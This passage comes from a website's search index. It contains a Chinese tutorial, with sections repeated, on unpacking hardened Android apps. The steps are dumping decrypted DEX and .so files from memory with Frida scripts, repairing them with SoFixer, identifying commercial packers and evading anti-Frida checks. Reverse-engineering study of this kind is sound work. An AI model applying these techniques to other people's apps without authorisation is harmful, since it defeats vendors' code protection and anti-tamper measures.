","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:4:1","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#11-安装-frida-dexdump"},{"categories":null,"collections":null,"content":"第 1 步：使用 frida-dexdump 脱壳（10 分钟） 1.1 安装 frida-dexdump # 克隆项目 git clone https://github.com/hluwa/frida-dexdump.git cd frida-dexdump # 安装依赖 pip3 install frida frida-tools 1.2 运行脱壳 # -f: 启动应用 # --no-pause: 不暂停，立即运行 python3 main.py -U -f com.example.app # 脚本会自动： # 1. 启动应用 # 2. Hook DEX 加载函数 # 3. 导出所有已加载的 DEX 文件 # 4. 保存到当前目录 输出示例： [DEXDump] Dumping DEX file: 0x7abc000000, size: 4562314 [DEXDump] Saved: com.example.app_classes.dex [DEXDump] Found DEX: /data/app/.../base.apk!classes2.dex [DEXDump] Dumping DEX file: 0x7abc500000, size: 2314567 [DEXDump] Saved: com.example.app_classes2.dex [DEXDump] Total: 2 DEX files dumped 1.3 验证脱壳结果 # 用 jadx 打开 jadx-gui com.example.app_classes.dex ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:4:1","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#12-运行脱壳"},{"categories":null,"collections":null,"content":"第 1 步：使用 frida-dexdump 脱壳（10 分钟） 1.1 安装 frida-dexdump # 克隆项目 git clone https://github.com/hluwa/frida-dexdump.git cd frida-dexdump # 安装依赖 pip3 install frida frida-tools 1.2 运行脱壳 # -f: 启动应用 # --no-pause: 不暂停，立即运行 python3 main.py -U -f com.example.app # 脚本会自动： # 1. 启动应用 # 2. Hook DEX 加载函数 # 3. 导出所有已加载的 DEX 文件 # 4. 保存到当前目录 输出示例： [DEXDump] Dumping DEX file: 0x7abc000000, size: 4562314 [DEXDump] Saved: com.example.app_classes.dex [DEXDump] Found DEX: /data/app/.../base.apk!classes2.dex [DEXDump] Dumping DEX file: 0x7abc500000, size: 2314567 [DEXDump] Saved: com.example.app_classes2.dex [DEXDump] Total: 2 DEX files dumped 1.3 验证脱壳结果 # 用 jadx 打开 jadx-gui com.example.app_classes.dex ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:4:1","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#13-验证脱壳结果"},{"categories":null,"collections":null,"content":"第 2 步：使用 FRIDA-DEXDump（备选方案）（10 分钟） 如果 frida-dexdump 不工作，可以尝试 FRIDA-DEXDump： # 安装 git clone https://github.com/lasting-yang/frida_dump.git cd frida_dump # 运行命令 python3 dump_dex.py -U -f com.example.app ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:4:2","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#第-2-步使用-frida-dexdump备选方案10-分钟"},{"categories":null,"collections":null,"content":"第 3 步：手动脚本脱壳（高级）（15 分钟） 如果自动化工具失败，可以编写自定义 Frida 脚本。 3.1 Hook OpenCommon（适用于 Android 8.0+） dex_dump.js： function dumpDex() { Java.perform(function () { console.log(\"[*] DEX Dumper started\"); // 查找 libart.so var libart = Process.findModuleByName(\"libart.so\"); if (!libart) { console.log(\"[-] libart.so not found\"); return; } // Hook OpenCommon (Android 8.0+) // 符号名称因版本而异，需要用 nm 或 readelf 确认 var OpenCommon = null; // 尝试常见符号 var symbols = [ \"_ZN3art7DexFile10OpenCommonEPKhjS2_jRKNS_10OatDexFileEbbPS1_\", \"_ZN3art7DexFile10OpenCommonEPKhmS2_jRKNS_10OatDexFileEbbPS1_NS_6Handle\", ]; for (var i = 0; i \u003c symbols.length; i++) { OpenCommon = Module.findExportByName(\"libart.so\", symbols[i]); if (OpenCommon) { console.log(\"[+] Found OpenCommon:\", OpenCommon); break; } } if (!OpenCommon) { console.log(\"[-] OpenCommon not found\"); return; } // Hook Interceptor.attach(OpenCommon, { onEnter: function (args) { // args[0] = base (DEX 内存地址) // args[1] = size (DEX 文件大小) var base = args[0]; var size = args[1].toInt32(); console.log(\"[*] 检测到 DEX!\"); console.log(\" 基址: \" + base); console.log(\" 大小: \" + size); // 读取 DEX 文件头，验证魔数 var magic = base.readCString(4); if (magic === \"dex\\n\") { console.log(\" Magic: \" + magic + \" ✓\"); // Dump DEX var dexBytes = base.readByteArray(size); var fileName = \"/sdcard/\" + size + \".dex\"; var file = new File(fileName, \"wb\"); file.write(dexBytes); file.close(); console.log(\"[+] DEX dumped to: \" + fileName); } else { console.log(\" Invalid magic: \" + magic); } }, }); console.log(\"[*] Hooks installed, waiting for DEX load...\"); }); } setImmediate(dumpDex); 使用方法： # 运行脚本 frida -U -f com.example.app -l dex_dump.js --no-pause # 拉取到本地 adb pull /sdcard/*.dex . 3.2 查找正确的符号名 Module.enumerateExports(\"libart.so\").forEach(function (exp) { if (exp.name.includes(\"DexFile\") \u0026\u0026 exp.name.includes(\"Open\")) { console.log(exp.name, exp.address); } }); ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:4:3","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#第-3-步手动脚本脱壳高级15-分钟"},{"categories":null,"collections":null,"content":"第 3 步：手动脚本脱壳（高级）（15 分钟） 如果自动化工具失败，可以编写自定义 Frida 脚本。 3.1 Hook OpenCommon（适用于 Android 8.0+） dex_dump.js： function dumpDex() { Java.perform(function () { console.log(\"[*] DEX Dumper started\"); // 查找 libart.so var libart = Process.findModuleByName(\"libart.so\"); if (!libart) { console.log(\"[-] libart.so not found\"); return; } // Hook OpenCommon (Android 8.0+) // 符号名称因版本而异，需要用 nm 或 readelf 确认 var OpenCommon = null; // 尝试常见符号 var symbols = [ \"_ZN3art7DexFile10OpenCommonEPKhjS2_jRKNS_10OatDexFileEbbPS1_\", \"_ZN3art7DexFile10OpenCommonEPKhmS2_jRKNS_10OatDexFileEbbPS1_NS_6Handle\", ]; for (var i = 0; i \u003c symbols.length; i++) { OpenCommon = Module.findExportByName(\"libart.so\", symbols[i]); if (OpenCommon) { console.log(\"[+] Found OpenCommon:\", OpenCommon); break; } } if (!OpenCommon) { console.log(\"[-] OpenCommon not found\"); return; } // Hook Interceptor.attach(OpenCommon, { onEnter: function (args) { // args[0] = base (DEX 内存地址) // args[1] = size (DEX 文件大小) var base = args[0]; var size = args[1].toInt32(); console.log(\"[*] 检测到 DEX!\"); console.log(\" 基址: \" + base); console.log(\" 大小: \" + size); // 读取 DEX 文件头，验证魔数 var magic = base.readCString(4); if (magic === \"dex\\n\") { console.log(\" Magic: \" + magic + \" ✓\"); // Dump DEX var dexBytes = base.readByteArray(size); var fileName = \"/sdcard/\" + size + \".dex\"; var file = new File(fileName, \"wb\"); file.write(dexBytes); file.close(); console.log(\"[+] DEX dumped to: \" + fileName); } else { console.log(\" Invalid magic: \" + magic); } }, }); console.log(\"[*] Hooks installed, waiting for DEX load...\"); }); } setImmediate(dumpDex); 使用方法： # 运行脚本 frida -U -f com.example.app -l dex_dump.js --no-pause # 拉取到本地 adb pull /sdcard/*.dex . 3.2 查找正确的符号名 Module.enumerateExports(\"libart.so\").forEach(function (exp) { if (exp.name.includes(\"DexFile\") \u0026\u0026 exp.name.includes(\"Open\")) { console.log(exp.name, exp.address); } }); ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:4:3","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#31-hook-opencommon适用于-android-80"},{"categories":null,"collections":null,"content":"第 3 步：手动脚本脱壳（高级）（15 分钟） 如果自动化工具失败，可以编写自定义 Frida 脚本。 3.1 Hook OpenCommon（适用于 Android 8.0+） dex_dump.js： function dumpDex() { Java.perform(function () { console.log(\"[*] DEX Dumper started\"); // 查找 libart.so var libart = Process.findModuleByName(\"libart.so\"); if (!libart) { console.log(\"[-] libart.so not found\"); return; } // Hook OpenCommon (Android 8.0+) // 符号名称因版本而异，需要用 nm 或 readelf 确认 var OpenCommon = null; // 尝试常见符号 var symbols = [ \"_ZN3art7DexFile10OpenCommonEPKhjS2_jRKNS_10OatDexFileEbbPS1_\", \"_ZN3art7DexFile10OpenCommonEPKhmS2_jRKNS_10OatDexFileEbbPS1_NS_6Handle\", ]; for (var i = 0; i \u003c symbols.length; i++) { OpenCommon = Module.findExportByName(\"libart.so\", symbols[i]); if (OpenCommon) { console.log(\"[+] Found OpenCommon:\", OpenCommon); break; } } if (!OpenCommon) { console.log(\"[-] OpenCommon not found\"); return; } // Hook Interceptor.attach(OpenCommon, { onEnter: function (args) { // args[0] = base (DEX 内存地址) // args[1] = size (DEX 文件大小) var base = args[0]; var size = args[1].toInt32(); console.log(\"[*] 检测到 DEX!\"); console.log(\" 基址: \" + base); console.log(\" 大小: \" + size); // 读取 DEX 文件头，验证魔数 var magic = base.readCString(4); if (magic === \"dex\\n\") { console.log(\" Magic: \" + magic + \" ✓\"); // Dump DEX var dexBytes = base.readByteArray(size); var fileName = \"/sdcard/\" + size + \".dex\"; var file = new File(fileName, \"wb\"); file.write(dexBytes); file.close(); console.log(\"[+] DEX dumped to: \" + fileName); } else { console.log(\" Invalid magic: \" + magic); } }, }); console.log(\"[*] Hooks installed, waiting for DEX load...\"); }); } setImmediate(dumpDex); 使用方法： # 运行脚本 frida -U -f com.example.app -l dex_dump.js --no-pause # 拉取到本地 adb pull /sdcard/*.dex . 3.2 查找正确的符号名 Module.enumerateExports(\"libart.so\").forEach(function (exp) { if (exp.name.includes(\"DexFile\") \u0026\u0026 exp.name.includes(\"Open\")) { console.log(exp.name, exp.address); } }); ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:4:3","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#32-查找正确的符号名"},{"categories":null,"collections":null,"content":"第 4 步：Dump SO 文件（10 分钟） 4.1 查看已加载的 SO # 查看进程加载的 SO 文件 frida -U -f com.example.app 在 REPL 中输入： Process.enumerateModules().forEach(function (m) { if (m.name.includes(\"native\") || m.name.includes(\"encrypt\")) { console.log(m.name, m.base, m.size); } }); // 输出示例: // libnative-lib.so 0x7abc000000 0x50000 4.2 Dump SO 内存 function dumpSo(moduleName) { var module = Process.findModuleByName(moduleName); if (!module) { console.log(\"[-] Module not found: \" + moduleName); return; } console.log(\"[+] 找到模块:\", moduleName); console.log(\" 基址: \" + module.base); console.log(\" 大小: \" + module.size); // 导出整个模块 var buffer = module.base.readByteArray(module.size); var fileName = \"/sdcard/\" + moduleName; var file = new File(fileName, \"wb\"); file.write(buffer); file.close(); console.log(\"[+] 已导出到: \" + fileName); } // 使用 dumpSo(\"libnative-lib.so\"); 拉取文件： adb pull /sdcard/libnative-lib.so . 4.3 使用 frida-all-in-one（推荐） # 克隆项目 git clone https://github.com/hookmaster/frida-all-in-one.git cd frida-all-in-one # 运行命令 python3 dump_so.py -U com.example.app libnative-lib.so # 会自动导出并修复 SO 文件 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:4:4","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#第-4-步dump-so-文件10-分钟"},{"categories":null,"collections":null,"content":"第 4 步：Dump SO 文件（10 分钟） 4.1 查看已加载的 SO # 查看进程加载的 SO 文件 frida -U -f com.example.app 在 REPL 中输入： Process.enumerateModules().forEach(function (m) { if (m.name.includes(\"native\") || m.name.includes(\"encrypt\")) { console.log(m.name, m.base, m.size); } }); // 输出示例: // libnative-lib.so 0x7abc000000 0x50000 4.2 Dump SO 内存 function dumpSo(moduleName) { var module = Process.findModuleByName(moduleName); if (!module) { console.log(\"[-] Module not found: \" + moduleName); return; } console.log(\"[+] 找到模块:\", moduleName); console.log(\" 基址: \" + module.base); console.log(\" 大小: \" + module.size); // 导出整个模块 var buffer = module.base.readByteArray(module.size); var fileName = \"/sdcard/\" + moduleName; var file = new File(fileName, \"wb\"); file.write(buffer); file.close(); console.log(\"[+] 已导出到: \" + fileName); } // 使用 dumpSo(\"libnative-lib.so\"); 拉取文件： adb pull /sdcard/libnative-lib.so . 4.3 使用 frida-all-in-one（推荐） # 克隆项目 git clone https://github.com/hookmaster/frida-all-in-one.git cd frida-all-in-one # 运行命令 python3 dump_so.py -U com.example.app libnative-lib.so # 会自动导出并修复 SO 文件 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:4:4","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#41-查看已加载的-so"},{"categories":null,"collections":null,"content":"第 4 步：Dump SO 文件（10 分钟） 4.1 查看已加载的 SO # 查看进程加载的 SO 文件 frida -U -f com.example.app 在 REPL 中输入： Process.enumerateModules().forEach(function (m) { if (m.name.includes(\"native\") || m.name.includes(\"encrypt\")) { console.log(m.name, m.base, m.size); } }); // 输出示例: // libnative-lib.so 0x7abc000000 0x50000 4.2 Dump SO 内存 function dumpSo(moduleName) { var module = Process.findModuleByName(moduleName); if (!module) { console.log(\"[-] Module not found: \" + moduleName); return; } console.log(\"[+] 找到模块:\", moduleName); console.log(\" 基址: \" + module.base); console.log(\" 大小: \" + module.size); // 导出整个模块 var buffer = module.base.readByteArray(module.size); var fileName = \"/sdcard/\" + moduleName; var file = new File(fileName, \"wb\"); file.write(buffer); file.close(); console.log(\"[+] 已导出到: \" + fileName); } // 使用 dumpSo(\"libnative-lib.so\"); 拉取文件： adb pull /sdcard/libnative-lib.so . 4.3 使用 frida-all-in-one（推荐） # 克隆项目 git clone https://github.com/hookmaster/frida-all-in-one.git cd frida-all-in-one # 运行命令 python3 dump_so.py -U com.example.app libnative-lib.so # 会自动导出并修复 SO 文件 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:4:4","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#42-dump-so-内存"},{"categories":null,"collections":null,"content":"第 4 步：Dump SO 文件（10 分钟） 4.1 查看已加载的 SO # 查看进程加载的 SO 文件 frida -U -f com.example.app 在 REPL 中输入： Process.enumerateModules().forEach(function (m) { if (m.name.includes(\"native\") || m.name.includes(\"encrypt\")) { console.log(m.name, m.base, m.size); } }); // 输出示例: // libnative-lib.so 0x7abc000000 0x50000 4.2 Dump SO 内存 function dumpSo(moduleName) { var module = Process.findModuleByName(moduleName); if (!module) { console.log(\"[-] Module not found: \" + moduleName); return; } console.log(\"[+] 找到模块:\", moduleName); console.log(\" 基址: \" + module.base); console.log(\" 大小: \" + module.size); // 导出整个模块 var buffer = module.base.readByteArray(module.size); var fileName = \"/sdcard/\" + moduleName; var file = new File(fileName, \"wb\"); file.write(buffer); file.close(); console.log(\"[+] 已导出到: \" + fileName); } // 使用 dumpSo(\"libnative-lib.so\"); 拉取文件： adb pull /sdcard/libnative-lib.so . 4.3 使用 frida-all-in-one（推荐） # 克隆项目 git clone https://github.com/hookmaster/frida-all-in-one.git cd frida-all-in-one # 运行命令 python3 dump_so.py -U com.example.app libnative-lib.so # 会自动导出并修复 SO 文件 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:4:4","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#43-使用-frida-all-in-one推荐"},{"categories":null,"collections":null,"content":"第 5 步：修复 SO 文件（10 分钟） 从内存 dump 的 SO 文件可能缺少 ELF 头信息，需要修复。 5.1 使用 SoFixer # 下载 git clone https://github.com/F8LEFT/SoFixer.git cd SoFixer # 编译（需要 CMake） mkdir build \u0026\u0026 cd build cmake .. make # 使用 ./SoFixer ../libnative-lib.so ../libnative-lib_fixed.so 输出示例： [+] Detected architecture: ARM64 [+] Rebuilding ELF header... [+] Fixing section table... [+] Fixing dynamic symbols... [+] Output file: libnative-lib_fixed.so [+] Done! 5.2 验证修复结果 # 检查文件类型 file libnative-lib_fixed.so # 应该显示: ELF 64-bit LSB shared object, ARM aarch64... # 用 IDA Pro 打开 # 或用 readelf 查看 readelf -h libnative-lib_fixed.so ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:4:5","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#第-5-步修复-so-文件10-分钟"},{"categories":null,"collections":null,"content":"第 5 步：修复 SO 文件（10 分钟） 从内存 dump 的 SO 文件可能缺少 ELF 头信息，需要修复。 5.1 使用 SoFixer # 下载 git clone https://github.com/F8LEFT/SoFixer.git cd SoFixer # 编译（需要 CMake） mkdir build \u0026\u0026 cd build cmake .. make # 使用 ./SoFixer ../libnative-lib.so ../libnative-lib_fixed.so 输出示例： [+] Detected architecture: ARM64 [+] Rebuilding ELF header... [+] Fixing section table... [+] Fixing dynamic symbols... [+] Output file: libnative-lib_fixed.so [+] Done! 5.2 验证修复结果 # 检查文件类型 file libnative-lib_fixed.so # 应该显示: ELF 64-bit LSB shared object, ARM aarch64... # 用 IDA Pro 打开 # 或用 readelf 查看 readelf -h libnative-lib_fixed.so ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:4:5","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#51-使用-sofixer"},{"categories":null,"collections":null,"content":"第 5 步：修复 SO 文件（10 分钟） 从内存 dump 的 SO 文件可能缺少 ELF 头信息，需要修复。 5.1 使用 SoFixer # 下载 git clone https://github.com/F8LEFT/SoFixer.git cd SoFixer # 编译（需要 CMake） mkdir build \u0026\u0026 cd build cmake .. make # 使用 ./SoFixer ../libnative-lib.so ../libnative-lib_fixed.so 输出示例： [+] Detected architecture: ARM64 [+] Rebuilding ELF header... [+] Fixing section table... [+] Fixing dynamic symbols... [+] Output file: libnative-lib_fixed.so [+] Done! 5.2 验证修复结果 # 检查文件类型 file libnative-lib_fixed.so # 应该显示: ELF 64-bit LSB shared object, ARM aarch64... # 用 IDA Pro 打开 # 或用 readelf 查看 readelf -h libnative-lib_fixed.so ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:4:5","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#52-验证修复结果"},{"categories":null,"collections":null,"content":"原理深入 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:5:0","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#原理深入"},{"categories":null,"collections":null,"content":"DEX 脱壳原理 App 启动 ↓ 壳代码加载 ↓ 解密原始 DEX（在内存中） ↓ 调用 DexFile::OpenCommon 加载 DEX ← Frida Hook 点 ↓ Frida 读取内存中的 DEX 数据 ↓ 保存到文件 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:5:1","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#dex-脱壳原理"},{"categories":null,"collections":null,"content":"OpenCommon 函数签名 // Android 8.0+ 的 OpenCommon 签名（简化） static std::unique_ptr\u003cDexFile\u003e OpenCommon( const uint8_t* base, // DEX 内存基址 size_t size, // DEX 大小 ... ) ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:5:2","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#opencommon-函数签名"},{"categories":null,"collections":null,"content":"SO Dump 原理 内存中的 SO 布局: [ELF Header] ← 可能被壳破坏 [.text 段] [.data 段] [.rodata 段] ... [Symbol Table] ← 需要重建 [String Table] ← 需要重建 直接 dump 内存只能获取段数据，缺少完整 ELF 结构，所以需要 SoFixer 修复。 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:5:3","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#so-dump-原理"},{"categories":null,"collections":null,"content":"常见加固壳识别 加固厂商 SO 文件名 特点 360 加固 libjiagu.so 整体加密 梆梆加固 libDexHelper.so 方法抽取 腾讯加固 libtup.so VMP 保护 爱加密 libexec.so 多层加密 网易易盾 libnesec.so 云端保护 通用策略：所有加固都需要在运行时解密，Frida 脱壳对所有方案都有效！ ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:5:4","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#常见加固壳识别"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:6:0","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#常见问题"},{"categories":null,"collections":null,"content":"❌ 问题 1: frida-dexdump 报错 “Failed to spawn” 症状：无法启动应用 解决： # 1. 确认应用已安装 adb shell pm list packages | grep example # 2. 确认包名正确 # 从 AndroidManifest.xml 获取准确包名 # 3. 尝试 Attach 模式 # 先手动启动应用 adb shell am start -n com.example.app/.MainActivity # 再附加 python3 main.py -U com.example.app ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:6:1","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#-问题-1-frida-dexdump-报错-failed-to-spawn"},{"categories":null,"collections":null,"content":"❌ 问题 2: Dump 的 DEX 无法用 jadx 打开 可能原因：DEX 头部损坏 解决步骤： 检查魔数 xxd dumped.dex | head -1 # 应该看到: 64 65 78 0a (dex\\n) 验证 DEX 大小 # 验证 DEX 大小 with open('dumped.dex', 'rb') as f: f.seek(32) # 跳到 file_size 字段 size = int.from_bytes(f.read(4), 'little') print(f\"DEX 声明的大小: {size}\") import os actual_size = os.path.getsize('dumped.dex') print(f\"实际文件大小: {actual_size}\") 使用 dexrepair 修复 git clone https://github.com/anestisb/dexrepair.git python3 dexrepair/dexrepair.py dumped.dex fixed.dex ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:6:2","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#-问题-2-dump-的-dex-无法用-jadx-打开"},{"categories":null,"collections":null,"content":"❌ 问题 3: Hook 点没有触发 检查步骤： 确认 libart.so 已加载 var libart = Process.findModuleByName(\"libart.so\"); console.log(\"libart found:\", libart !== null); 列出所有 OpenCommon 符号 Module.enumerateExports(\"libart.so\").forEach(function (exp) { if (exp.name.includes(\"OpenCommon\")) { console.log(exp.name); } }); 尝试其他 Hook 点 // Android 7.0- var OpenMemory = Module.findExportByName( \"libart.so\", \"_ZN3art7DexFile10OpenMemoryEPKhjRKNSt3__112basic_stringIcNS3_11char_traitsIcEENS3_9allocatorIcEEEEjPNS_6MemMapEPKNS_10OatDexFileEPS9_\" ); ### ❌ 问题 4: SO 文件修复后 IDA 仍无法分析 **症状**：IDA 打开后只显示数据，没有函数 **解决**： 1. **手动定义函数** 在 IDA 中： - 光标移到疑似函数起始处 - 按 'P' 键创建函数 - 按 'C' 键转换为代码 2. **使用符号恢复工具** ```bash # 如果原始 SO 有符号表 readelf -s original.so \u003e symbols.txt # 用 IDA 脚本导入符号 ``` 3. **检查是否有 OLLVM 混淆** - 如果看到大量跳转和无意义的代码块 - 可能是 OLLVM 控制流平坦化 - 参考：[OLLVM 反混淆](../Analysis/ollvm_deobfuscation.md) ### ❌ 问题 5: App 检测到 Frida 并崩溃 **症状**：启动后立即退出，logcat 显示反调试提示 **解决**： 参考 [Frida 反调试绕过](../Anti-Detection/frida_anti_debugging.md) 快速方法： ```bash # 使用 Magisk Hide # 或使用修改版 Frida 服务器 wget https://github.com/hluwa/strongR-frida-android/releases/download/xxx/frida-server ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:6:3","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#-问题-3-hook-点没有触发"},{"categories":null,"collections":null,"content":"相关链接 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:7:0","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#相关链接"},{"categories":null,"collections":null,"content":"相关配方 应用脱壳总览 - 各种脱壳技术对比 Frida 反调试绕过 - 处理反 Frida 检测 SO 混淆分析 - 分析混淆的 SO 文件 OLLVM 反混淆 - 处理控制流混淆 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:7:1","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#相关配方"},{"categories":null,"collections":null,"content":"工具深入 Frida 完整指南 IDA Pro 使用 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:7:2","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#工具深入"},{"categories":null,"collections":null,"content":"项目资源 项目 说明 链接 frida-dexdump 自动化 DEX 脱壳 https://github.com/hluwa/frida-dexdump FRIDA-DEXDump 深度 DEX 脱壳 https://github.com/lasting-yang/frida_dump SoFixer SO 文件修复 https://github.com/F8LEFT/SoFixer frida-all-in-one 综合工具集 https://github.com/hookmaster/frida-all-in-one ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:7:3","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#项目资源"},{"categories":null,"collections":null,"content":"理论基础 DEX 文件格式 SO/ELF 文件格式 ART 运行时 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:7:4","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 